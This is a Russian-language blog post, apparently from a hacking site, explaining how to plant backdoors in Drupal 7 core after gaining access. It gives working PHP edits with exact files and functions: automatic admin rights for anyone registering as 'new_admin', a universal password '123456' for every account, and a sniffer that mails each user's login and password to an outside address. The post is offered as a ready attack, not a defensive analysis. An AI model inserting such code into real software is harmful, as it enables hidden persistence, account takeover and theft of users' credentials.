[Drupal 7] Черный ход

Вариантов сделать php-backdoor есть великое множество:

  • eval() в какой-то .php файл
  • через callback
  • всякие $a($b) и т.д.

В самом Друпале так же есть достаточно вариантов, что бы задержаться в системе как можно дольше. Анализировать будем только ядро (в папку sites в корне даже не смотрим).

New admin registration

Суть: при регистрации пользователя с определенным ником, ему сразу даются права админа.
Условия: сработает только если на сайте реальный админ не закроет регистрацию пользователей.
Где:
файл /modules/user/user.module
функция user_register_submit
Code:
После чего вставляем наш код:

$account = user_save($account, $edit);

Наш код:

if ($account->name == 'new_admin') {
	user_multiple_role_edit(array($account->uid), 'add_role', 3);
}

Теперь, если зайти зарегистрироваться под ником new_admin, автоматически будут выставлены права админа. Стоит сказать, что можно сделать менее «жадное» условие. Пусть просто проверяется наличие в имени пользователя заданной подстроки. Но это уже на Ваш выбор.

Login like any user

Если создавать нового пользователя кажется слишком палевно, то можно авторизовываться под уже существующим (с админ. права, естественно).
Суть: обеспечить себе «суперпароль», который позволит авторизоваться под любым логином.
Условия: надо знать нужный логин.
Где:
файл /includes/passsword.inc
функция user_check_password
Code:
Что надо заменить:

return ($hash && $stored_hash == $hash);

Наш код:

return ($hash && $stored_hash == $hash) || ($password == '123456');

Теперь можно вводить любой существующий логин и пароль 123456.

Sniffer

Хэширование в Drupal 7 — это очень больной вопрос в плане брута (см. https://rdot.org/forum/showpost.php?p=20996&postcount=6). Если есть возможность, то стОит узнать эти пароли «малой кровью». Проще говоря — надо сделать а-ля сниффер на форму авторизации.
Суть: при каждой успешной авторизации пользователя отправлять его логин и пароль нам.
Условия: та вроде бы никаких нет.
Где:
файл /modules/user/user.module
функция user_authenticate
Code:
После чего вставить наш код:

$uid = $account->uid;

Наш код:

mail('hack@kronus.me', '', $name.':'.$password);

P.S. Разгуляться есть где — было бы желание 😉

, , ,

Оставить комментарий

Top ↑ | Main page | Back